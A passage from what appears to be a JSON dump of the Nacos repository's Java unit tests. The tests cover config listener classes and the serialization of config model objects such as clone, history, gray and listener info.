fuzzyWatchEventWatcher = new AbstractFuzzyWatchEventWatcher() {\n            @Override\n            public void onEvent(ConfigFuzzyWatchChangeEvent event) {\n                // Empty implementation for testing\n            }\n        };\n    }\n    \n    @Test\n    void testGetExecutor() {\n        assertNull(fuzzyWatchEventWatcher.getExecutor());\n    }\n    \n    @Test\n    void testOnPatternOverLimit() {\n        assertDoesNotThrow(() -> fuzzyWatchEventWatcher.onPatternOverLimit());\n    }\n    \n    @Test\n    void testOnConfigReachUpLimit() {\n        assertDoesNotThrow(() -> fuzzyWatchEventWatcher.onConfigReachUpLimit());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/config/listener/AbstractListenerTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.config.listener;\n\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertNull;\n\nclass AbstractListenerTest {\n    \n    @Test\n    void testGetExecutor() {\n        // Default listener executor is null.\n        assertNull(new AbstractListener() {\n            @Override\n            public void receiveConfigInfo(String configInfo) {\n            }\n        }.getExecutor());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/config/listener/AbstractSharedListenerTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.config.listener;\n\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNull;\n\nclass AbstractSharedListenerTest {\n    \n    private static final String CONFIG_CONTENT = \"test\";\n    \n    private static Map<String, String> receivedMap;\n    \n    @BeforeEach\n    void setUp() {\n        receivedMap = new HashMap<>();\n    }\n    \n    @Test\n    void testFillContext() {\n        assertEquals(0, receivedMap.size());\n        MockShardListener listener = new MockShardListener();\n        listener.receiveConfigInfo(CONFIG_CONTENT);\n        assertEquals(2, receivedMap.size());\n        assertNull(receivedMap.get(\"group\"));\n        assertNull(receivedMap.get(\"dataId\"));\n        listener.fillContext(\"aaa\", \"ggg\");\n        listener.receiveConfigInfo(CONFIG_CONTENT);\n        assertEquals(2, receivedMap.size());\n        assertEquals(\"ggg\", receivedMap.get(\"group\"));\n        assertEquals(\"aaa\", receivedMap.get(\"dataId\"));\n    }\n    \n    @Test\n    void getExecutor() {\n        // Default listener executor is null.\n        assertNull(new MockShardListener().getExecutor());\n    }\n    \n    private static class MockShardListener extends AbstractSharedListener {\n        \n        @Override\n        public void innerReceive(String dataId, String group, String configInfo) {\n            assertEquals(CONFIG_CONTENT, configInfo);\n            receivedMap.put(\"group\", group);\n            receivedMap.put(\"dataId\", dataId);\n        }\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/config/listener/ConfigFuzzyWatchChangeEventTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.config.listener;\n\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertNull;\n\nclass ConfigFuzzyWatchChangeEventTest {\n    \n    @Test\n    void testBuildWithValidParameters() {\n        ConfigFuzzyWatchChangeEvent event = ConfigFuzzyWatchChangeEvent.build(\n                \"test-namespace\", \"test-group\", \"test-dataId\", \"ADD_CONFIG\", \n                \"FUZZY_WATCH_INIT_NOTIFY\");\n        \n        assertNotNull(event);\n        assertEquals(\"test-namespace\", event.getNamespace());\n        assertEquals(\"test-group\", event.getGroup());\n        assertEquals(\"test-dataId\", event.getDataId());\n        assertEquals(\"ADD_CONFIG\", event.getChangedType());\n        assertEquals(\"FUZZY_WATCH_INIT_NOTIFY\", event.getSyncType());\n    }\n    \n    @Test\n    void testBuildWithNullParameters() {\n        ConfigFuzzyWatchChangeEvent event = ConfigFuzzyWatchChangeEvent.build(\n                null, null, null, null, null);\n        \n        assertNotNull(event);\n        assertNull(event.getNamespace());\n        assertNull(event.getGroup());\n        assertNull(event.getDataId());\n        assertNull(event.getChangedType());\n        assertNull(event.getSyncType());\n    }\n    \n    @Test\n    void testToString() {\n        ConfigFuzzyWatchChangeEvent event = ConfigFuzzyWatchChangeEvent.build(\n                \"test-namespace\", \"test-group\", \"test-dataId\", \"ADD_CONFIG\", \n                \"FUZZY_WATCH_INIT_NOTIFY\");\n        \n        String expected = \"ConfigFuzzyWatchChangeEvent{group='test-group', dataId='test-dataId', \"\n                + \"namespace='test-namespace', changedType='ADD_CONFIG', syncType='FUZZY_WATCH_INIT_NOTIFY'}\";\n        assertEquals(expected, event.toString());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/config/model/ConfigCloneInfoTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.config.model;\n\nimport com.fasterxml.jackson.databind.DeserializationFeature;\nimport com.fasterxml.jackson.databind.ObjectMapper;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass ConfigCloneInfoTest {\n    \n    private ObjectMapper mapper;\n    \n    ConfigCloneInfo configCloneInfo;\n    \n    @BeforeEach\n    void setUp() {\n        mapper = new ObjectMapper();\n        mapper.disable(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES);\n        configCloneInfo = new ConfigCloneInfo();\n        configCloneInfo.setConfigId(1L);\n        configCloneInfo.setTargetDataId(\"newDataId\");\n        configCloneInfo.setTargetGroupName(\"newGroup\");\n    }\n    \n    @Test\n    public void testSerialize() throws Exception {\n        String json = mapper.writeValueAsString(configCloneInfo);\n        assertTrue(json.contains(\"\\\"configId\\\":1\"));\n        assertTrue(json.contains(\"\\\"targetGroupName\\\":\\\"newGroup\\\"\"));\n        assertTrue(json.contains(\"\\\"targetDataId\\\":\\\"newDataId\\\"\"));\n    }\n    \n    @Test\n    public void testDeserialize() throws Exception {\n        String json = \"{\\\"configId\\\":1,\\\"targetGroupName\\\":\\\"newGroup\\\",\\\"targetDataId\\\":\\\"newDataId\\\"}\";\n        ConfigCloneInfo actual = mapper.readValue(json, ConfigCloneInfo.class);\n        assertEquals(configCloneInfo.getConfigId(), actual.getConfigId());\n        assertEquals(configCloneInfo.getTargetGroupName(), actual.getTargetGroupName());\n        assertEquals(configCloneInfo.getTargetDataId(), actual.getTargetDataId());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/config/model/ConfigHistoryInfoTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.config.model;\n\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport com.fasterxml.jackson.databind.DeserializationFeature;\nimport com.fasterxml.jackson.databind.ObjectMapper;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass ConfigHistoryInfoTest {\n    \n    private ObjectMapper mapper;\n    \n    private ConfigHistoryBasicInfo basicInfo;\n    \n    private ConfigHistoryDetailInfo detailInfo;\n    \n    private long createTime;\n    \n    private long modifyTime;\n    \n    @BeforeEach\n    void setUp() {\n        createTime = System.currentTimeMillis();\n        mapper = new ObjectMapper();\n        mapper.disable(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES);\n        basicInfo = new ConfigHistoryBasicInfo();\n        detailInfo = new ConfigHistoryDetailInfo();\n        modifyTime = System.currentTimeMillis();\n        mockBasicInfo(basicInfo, createTime, modifyTime);\n        mockBasicInfo(detailInfo, createTime, modifyTime);\n        mockDetailInfo(detailInfo);\n    }\n    \n    private void mockBasicInfo(ConfigHistoryBasicInfo basicInfo, long createTime, long modifyTime) {\n        basicInfo.setId(1L);\n        basicInfo.setNamespaceId(\"testNs\");\n        basicInfo.setGroupName(\"testGroup\");\n        basicInfo.setDataId(\"testDataId\");\n        basicInfo.setMd5(\"testMd5\");\n        basicInfo.setType(\"text\");\n        basicInfo.setAppName(\"testApp\");\n        basicInfo.setCreateTime(createTime);\n        basicInfo.setModifyTime(modifyTime);\n        basicInfo.setSrcIp(\"1.1.1.1\");\n        basicInfo.setSrcUser(\"testCreateUser\");\n        basicInfo.setOpType(\"I\");\n        basicInfo.setPublishType(\"formal\");\n    }\n    \n    private void mockDetailInfo(ConfigHistoryDetailInfo detailInfo) {\n        detailInfo.setContent(\"testContent\");\n        detailInfo.setEncryptedDataKey(\"testEncryptedDataKey\");\n        detailInfo.setGrayName(\"testGrayName\");\n        detailInfo.setExtInfo(\"{\\\"type\\\":\\\"text\\\"}\");\n    }\n    \n    @Test\n    public void testBasicInfoSerialize() throws JsonProcessingException {\n        String json = mapper.writeValueAsString(basicInfo);\n        assertJsonContainBasicInfos(json);\n    }\n    \n    @Test\n    public void testBasicInfoDeserialize() throws JsonProcessingException {\n        String json = \"{\\\"id\\\":\\\"1\\\",\\\"namespaceId\\\":\\\"testNs\\\",\\\"groupName\\\":\\\"testGroup\\\",\\\"dataId\\\":\\\"testDataId\\\",\"\n                + \"\\\"md5\\\":\\\"testMd5\\\",\\\"type\\\":\\\"text\\\",\\\"appName\\\":\\\"testApp\\\",\\\"createTime\\\":%s,\\\"modifyTime\\\":%s,\"\n                + \"\\\"srcIp\\\":\\\"1.1.1.1\\\",\\\"srcUser\\\":\\\"testCreateUser\\\",\\\"opType\\\":\\\"I\\\",\\\"publishType\\\":\\\"formal\\\"}\";\n        json = String.format(json, createTime, modifyTime);\n        assertBasicInfo(mapper.readValue(json, ConfigHistoryBasicInfo.class));\n    }\n    \n    @Test\n    public void testDetailInfoSerialize() throws JsonProcessingException {\n        String json = mapper.writeValueAsString(detailInfo);\n        assertJsonContainBasicInfos(json);\n        asserJsonContainDetailInfos(json);\n    }\n    \n    @Test\n    public void testDetailInfoDeserialize() throws JsonProcessingException {\n        String json = \"{\\\"id\\\":\\\"1\\\",\\\"namespaceId\\\":\\\"testNs\\\",\\\"groupName\\\":\\\"testGroup\\\",\\\"dataId\\\":\\\"testDataId\\\",\"\n                + \"\\\"md5\\\":\\\"testMd5\\\",\\\"type\\\":\\\"text\\\",\\\"appName\\\":\\\"testApp\\\",\\\"createTime\\\":%s,\\\"modifyTime\\\":%s,\"\n                + \"\\\"srcIp\\\":\\\"1.1.1.1\\\",\\\"srcUser\\\":\\\"testCreateUser\\\",\\\"opType\\\":\\\"I\\\",\\\"publishType\\\":\\\"formal\\\",\"\n                + \"\\\"content\\\":\\\"testContent\\\",\\\"encryptedDataKey\\\":\\\"testEncryptedDataKey\\\",\\\"grayName\\\":\\\"testGrayName\\\",\"\n                + \"\\\"extInfo\\\":\\\"{\\\\\\\"type\\\\\\\":\\\\\\\"text\\\\\\\"}\\\"}\";\n        json = String.format(json, createTime, modifyTime);\n        ConfigHistoryDetailInfo detailInfo = mapper.readValue(json, ConfigHistoryDetailInfo.class);\n        assertBasicInfo(detailInfo);\n        assertDetailInfo(detailInfo);\n    }\n    \n    private void assertJsonContainBasicInfos(String json) {\n        assertTrue(json.contains(\"\\\"id\\\":\\\"1\\\"\"));\n        assertTrue(json.contains(\"\\\"namespaceId\\\":\\\"testNs\\\"\"));\n        assertTrue(json.contains(\"\\\"groupName\\\":\\\"testGroup\\\"\"));\n        assertTrue(json.contains(\"\\\"dataId\\\":\\\"testDataId\\\"\"));\n        assertTrue(json.contains(\"\\\"md5\\\":\\\"testMd5\\\"\"));\n        assertTrue(json.contains(\"\\\"type\\\":\\\"text\\\"\"));\n        assertTrue(json.contains(\"\\\"appName\\\":\\\"testApp\\\"\"));\n        assertTrue(json.contains(\"\\\"createTime\\\":\" + createTime));\n        assertTrue(json.contains(\"\\\"modifyTime\\\":\" + modifyTime));\n        assertTrue(json.contains(\"\\\"srcIp\\\":\\\"1.1.1.1\\\"\"));\n        assertTrue(json.contains(\"\\\"srcUser\\\":\\\"testCreateUser\\\"\"));\n        assertTrue(json.contains(\"\\\"opType\\\":\\\"I\\\"\"));\n        assertTrue(json.contains(\"\\\"publishType\\\":\\\"formal\\\"\"));\n    }\n    \n    private void asserJsonContainDetailInfos(String json) {\n        assertTrue(json.contains(\"\\\"content\\\":\\\"testContent\\\"\"));\n        assertTrue(json.contains(\"\\\"encryptedDataKey\\\":\\\"testEncryptedDataKey\\\"\"));\n        assertTrue(json.contains(\"\\\"grayName\\\":\\\"testGrayName\\\"\"));\n        assertTrue(json.contains(\"\\\"extInfo\\\":\\\"{\\\\\\\"type\\\\\\\":\\\\\\\"text\\\\\\\"}\\\"\"));\n    }\n    \n    private void assertBasicInfo(ConfigHistoryBasicInfo actual) {\n        assertEquals(basicInfo.getId(), actual.getId());\n        assertEquals(basicInfo.getNamespaceId(), actual.getNamespaceId());\n        assertEquals(basicInfo.getGroupName(), actual.getGroupName());\n        assertEquals(basicInfo.getDataId(), actual.getDataId());\n        assertEquals(basicInfo.getMd5(), actual.getMd5());\n        assertEquals(basicInfo.getType(), actual.getType());\n        assertEquals(basicInfo.getAppName(), actual.getAppName());\n        assertEquals(basicInfo.getCreateTime(), actual.getCreateTime());\n        assertEquals(basicInfo.getModifyTime(), actual.getModifyTime());\n        assertEquals(basicInfo.getSrcIp(), actual.getSrcIp());\n        assertEquals(basicInfo.getSrcUser(), actual.getSrcUser());\n        assertEquals(basicInfo.getPublishType(), actual.getPublishType());\n        assertEquals(basicInfo.getOpType(), actual.getOpType());\n    }\n    \n    private void assertDetailInfo(ConfigHistoryDetailInfo actual) {\n        assertEquals(detailInfo.getContent(), actual.getContent());\n        assertEquals(detailInfo.getEncryptedDataKey(), actual.getEncryptedDataKey());\n        assertEquals(detailInfo.getGrayName(), actual.getGrayName());\n        assertEquals(detailInfo.getExtInfo(), actual.getExtInfo());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/config/model/ConfigInfoTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.config.model;\n\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport com.fasterxml.jackson.databind.DeserializationFeature;\nimport com.fasterxml.jackson.databind.ObjectMapper;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass ConfigInfoTest {\n    \n    private ObjectMapper mapper;\n    \n    private ConfigBasicInfo basicInfo;\n    \n    private ConfigDetailInfo detailInfo;\n    \n    private ConfigGrayInfo grayInfo;\n    \n    private long createTime;\n    \n    private long modifyTime;\n    \n    @BeforeEach\n    void setUp() {\n        createTime = System.currentTimeMillis();\n        mapper = new ObjectMapper();\n        mapper.disable(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES);\n        basicInfo = new ConfigBasicInfo();\n        detailInfo = new ConfigDetailInfo();\n        grayInfo = new ConfigGrayInfo();\n        modifyTime = System.currentTimeMillis();\n        mockBasicInfo(basicInfo, createTime, modifyTime);\n        mockBasicInfo(detailInfo, createTime, modifyTime);\n        mockBasicInfo(grayInfo, createTime, modifyTime);\n        mockDetailInfo(detailInfo);\n        mockDetailInfo(grayInfo);\n        grayInfo.setGrayName(\"testGrayName\");\n        grayInfo.setGrayRule(\n                \"{\\\"type\\\":\\\"beta\\\",\\\"version\\\":\\\"1.0.0\\\",\\\"expr\\\":\\\"127.0.0.1,127.0.0.2\\\",\\\"priority\\\":-1000}\");\n    }\n    \n    private void mockBasicInfo(ConfigBasicInfo basicInfo, long createTime, long modifyTime) {\n        basicInfo.setId(1L);\n        basicInfo.setNamespaceId(\"testNs\");\n        basicInfo.setGroupName(\"testGroup\");\n        basicInfo.setDataId(\"testDataId\");\n        basicInfo.setMd5(\"testMd5\");\n        basicInfo.setType(\"text\");\n        basicInfo.setAppName(\"testApp\");\n        basicInfo.setCreateTime(createTime);\n        basicInfo.setModifyTime(modifyTime);\n        basicInfo.setDesc(\"testDesc\");\n        basicInfo.setConfigTags(\"testConfigTag1,testConfigTag2\");\n    }\n    \n    private void mockDetailInfo(ConfigDetailInfo detailInfo) {\n        detailInfo.setContent(\"testContent\");\n        detailInfo.setEncryptedDataKey(\"testEncryptedDataKey\");\n        detailInfo.setCreateUser(\"testCreateUser\");\n        detailInfo.setCreateIp(\"1.1.1.1\");\n    }\n    \n    @Test\n    public void testBasicInfoSerialize() throws JsonProcessingException {\n        String json = mapper.writeValueAsString(basicInfo);\n        assertJsonContainBasicInfos(json);\n    }\n    \n    @Test\n    public void testBasicInfoDeserialize() throws JsonProcessingException {\n        String json = \"{\\\"id\\\":\\\"1\\\",\\\"namespaceId\\\":\\\"testNs\\\",\\\"groupName\\\":\\\"testGroup\\\",\\\"dataId\\\":\\\"testDataId\\\",\"\n                + \"\\\"md5\\\":\\\"testMd5\\\",\\\"type\\\":\\\"text\\\",\\\"appName\\\":\\\"testApp\\\",\\\"createTime\\\":%s,\\\"modifyTime\\\":%s}\";\n        json = String.format(json, createTime, modifyTime);\n        assertBasicInfo(mapper.readValue(json, ConfigBasicInfo.class));\n    }\n    \n    @Test\n    public void testDetailInfoSerialize() throws JsonProcessingException {\n        String json = mapper.writeValueAsString(detailInfo);\n        assertJsonContainBasicInfos(json);\n        asserJsonContainDetailInfos(json);\n    }\n    \n    @Test\n    public void testDetailInfoDeserialize() throws JsonProcessingException {\n        String json = \"{\\\"id\\\":\\\"1\\\",\\\"namespaceId\\\":\\\"testNs\\\",\\\"groupName\\\":\\\"testGroup\\\",\\\"dataId\\\":\\\"testDataId\\\",\"\n                + \"\\\"md5\\\":\\\"testMd5\\\",\\\"type\\\":\\\"text\\\",\\\"appName\\\":\\\"testApp\\\",\\\"createTime\\\":%s,\"\n                + \"\\\"modifyTime\\\":%s,\\\"content\\\":\\\"testContent\\\",\\\"desc\\\":\\\"testDesc\\\",\"\n                + \"\\\"encryptedDataKey\\\":\\\"testEncryptedDataKey\\\",\\\"createUser\\\":\\\"testCreateUser\\\",\"\n                + \"\\\"createIp\\\":\\\"1.1.1.1\\\",\\\"configTags\\\":\\\"testConfigTag1,testConfigTag2\\\"}\";\n        json = String.format(json, createTime, modifyTime);\n        ConfigDetailInfo detailInfo = mapper.readValue(json, ConfigDetailInfo.class);\n        assertBasicInfo(detailInfo);\n        assertDetailInfo(detailInfo);\n    }\n    \n    @Test\n    public void testGrayInfoSerialize() throws JsonProcessingException {\n        String json = mapper.writeValueAsString(grayInfo);\n        assertJsonContainBasicInfos(json);\n        asserJsonContainDetailInfos(json);\n        assertTrue(json.contains(\"\\\"grayName\\\":\\\"testGrayName\\\"\"));\n        assertTrue(json.contains(\"\\\"grayRule\\\":\\\"{\"));\n        assertTrue(json.contains(\"\\\\\\\"type\\\\\\\":\\\\\\\"beta\\\\\\\"\"));\n        assertTrue(json.contains(\"\\\\\\\"version\\\\\\\":\\\\\\\"1.0.0\\\\\\\"\"));\n        assertTrue(json.contains(\"\\\\\\\"expr\\\\\\\":\\\\\\\"127.0.0.1,127.0.0.2\\\\\\\"\"));\n        assertTrue(json.contains(\"\\\\\\\"priority\\\\\\\":-1000\"));\n    }\n    \n    @Test\n    public void testGrayInfoDeserialize() throws JsonProcessingException {\n        String json = \"{\\\"id\\\":\\\"1\\\",\\\"namespaceId\\\":\\\"testNs\\\",\\\"groupName\\\":\\\"testGroup\\\",\\\"dataId\\\":\\\"testDataId\\\",\"\n                + \"\\\"md5\\\":\\\"testMd5\\\",\\\"type\\\":\\\"text\\\",\\\"appName\\\":\\\"testApp\\\",\\\"createTime\\\":%s,\\\"modifyTime\\\":%s,\"\n                + \"\\\"content\\\":\\\"testContent\\\",\\\"desc\\\":\\\"testDesc\\\",\\\"encryptedDataKey\\\":\\\"testEncryptedDataKey\\\",\"\n                + \"\\\"createUser\\\":\\\"testCreateUser\\\",\\\"createIp\\\":\\\"1.1.1.1\\\",\\\"configTags\\\":\\\"testConfigTag1,testConfigTag2\\\",\"\n                + \"\\\"grayName\\\":\\\"testGrayName\\\",\\\"grayRule\\\":\"\n                + \"\\\"{\\\\\\\"type\\\\\\\":\\\\\\\"beta\\\\\\\",\\\\\\\"version\\\\\\\":\\\\\\\"1.0.0\\\\\\\",\\\\\\\"expr\\\\\\\":\\\\\\\"127.0.0.1,127.0.0.2\\\\\\\",\\\\\\\"priority\\\\\\\":-1000}\\\"}\";\n        json = String.format(json, createTime, modifyTime);\n        ConfigGrayInfo actualGrayInfo = mapper.readValue(json, ConfigGrayInfo.class);\n        assertBasicInfo(actualGrayInfo);\n        assertDetailInfo(actualGrayInfo);\n        assertEquals(grayInfo.getGrayName(), actualGrayInfo.getGrayName());\n        assertEquals(grayInfo.getGrayRule(), actualGrayInfo.getGrayRule());\n    }\n    \n    private void assertJsonContainBasicInfos(String json) {\n        assertTrue(json.contains(\"\\\"id\\\":\\\"1\\\"\"));\n        assertTrue(json.contains(\"\\\"namespaceId\\\":\\\"testNs\\\"\"));\n        assertTrue(json.contains(\"\\\"groupName\\\":\\\"testGroup\\\"\"));\n        assertTrue(json.contains(\"\\\"dataId\\\":\\\"testDataId\\\"\"));\n        assertTrue(json.contains(\"\\\"md5\\\":\\\"testMd5\\\"\"));\n        assertTrue(json.contains(\"\\\"type\\\":\\\"text\\\"\"));\n        assertTrue(json.contains(\"\\\"appName\\\":\\\"testApp\\\"\"));\n        assertTrue(json.contains(\"\\\"createTime\\\":\" + createTime));\n        assertTrue(json.contains(\"\\\"modifyTime\\\":\" + modifyTime));\n    }\n    \n    private void asserJsonContainDetailInfos(String json) {\n        assertTrue(json.contains(\"\\\"content\\\":\\\"testContent\\\"\"));\n        assertTrue(json.contains(\"\\\"desc\\\":\\\"testDesc\\\"\"));\n        assertTrue(json.contains(\"\\\"encryptedDataKey\\\":\\\"testEncryptedDataKey\\\"\"));\n        assertTrue(json.contains(\"\\\"createUser\\\":\\\"testCreateUser\\\"\"));\n        assertTrue(json.contains(\"\\\"createIp\\\":\\\"1.1.1.1\\\"\"));\n        assertTrue(json.contains(\"\\\"configTags\\\":\\\"testConfigTag1,testConfigTag2\\\"\"));\n    }\n    \n    private void assertBasicInfo(ConfigBasicInfo actual) {\n        assertEquals(basicInfo.getId(), actual.getId());\n        assertEquals(basicInfo.getNamespaceId(), actual.getNamespaceId());\n        assertEquals(basicInfo.getGroupName(), actual.getGroupName());\n        assertEquals(basicInfo.getDataId(), actual.getDataId());\n        assertEquals(basicInfo.getMd5(), actual.getMd5());\n        assertEquals(basicInfo.getType(), actual.getType());\n        assertEquals(basicInfo.getAppName(), actual.getAppName());\n        assertEquals(basicInfo.getCreateTime(), actual.getCreateTime());\n        assertEquals(basicInfo.getModifyTime(), actual.getModifyTime());\n    }\n    \n    private void assertDetailInfo(ConfigDetailInfo actual) {\n        assertEquals(detailInfo.getContent(), actual.getContent());\n        assertEquals(detailInfo.getDesc(), actual.getDesc());\n        assertEquals(detailInfo.getEncryptedDataKey(), actual.getEncryptedDataKey());\n        assertEquals(detailInfo.getCreateUser(), actual.getCreateUser());\n        assertEquals(detailInfo.getCreateIp(), actual.getCreateIp());\n        assertEquals(detailInfo.getConfigTags(), actual.getConfigTags());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/config/model/ConfigListenerInfoTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.config.model;\n\nimport com.fasterxml.jackson.databind.DeserializationFeature;\nimport com.fasterxml.jackson.databind.ObjectMapper;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.Collections;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass ConfigListenerInfoTest {\n    \n    private ObjectMapper mapper;\n    \n    private ConfigListenerInfo configListenerInfo;\n    \n    @BeforeEach\n    void setUp() {\n        mapper = new ObjectMapper();\n        mapper.disable(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES);\n        configListenerInfo = new ConfigListenerInfo();\n        configListenerInfo.setQueryType(ConfigListenerInfo.QUERY_TYPE_CONFIG);\n        configListenerInfo.setListenersStatus(Collections.singletonMap(\"1.1.1.1\", \"testMd5\"));\n    }\n    \n    @Test\n    public void testSerialize() throws Exception {\n        String json = mapper.writeValueAsString(configListenerInfo);\n        assertTrue(json.contains(\"\\\"queryType\\\":\\\"config\\\"\"));\n        assertTrue(json.contains(\"\\\"listenersStatus\\\":{\\\"1.1.1.1\\\":\\\"testMd5\\\"}\"));\n    }\n    \n    @Test\n    public void testDeserialize() throws Exception {\n        String json = \"{\\\"queryType\\\":\\\"config\\\",\\\"listenersStatus\\\":{\\\"1.1.1.1\\\":\\\"testMd5\\\"}}\";\n        ConfigListenerInfo configListenerInfo = mapper.readValue(json, ConfigListenerInfo.class);\n        assertEquals(ConfigListenerInfo.QUERY_TYPE_CONFIG, configListenerInfo.getQueryType());\n        assertEquals(\"testMd5\", configListenerInfo.getListenersStatus().get(\"1.1.1.1\"));\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/config/model/SameConfigPolicyTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.config.model;\n\nimport com.fasterxml.jackson.databind.DeserializationFeature;\nimport com.fasterxml.jackson.databind.ObjectMapper;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass SameConfigPolicyTest {\n    \n    private ObjectMapper mapper;\n    \n    @BeforeEach\n    void setUp() {\n        mapper = new ObjectMapper();\n        mapper.disable(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES);\n    }\n    \n    @Test\n    public void testSerialize() throws Exception {\n        String abortJson = mapper.writeValueAsString(SameConfigPolicy.ABORT);\n        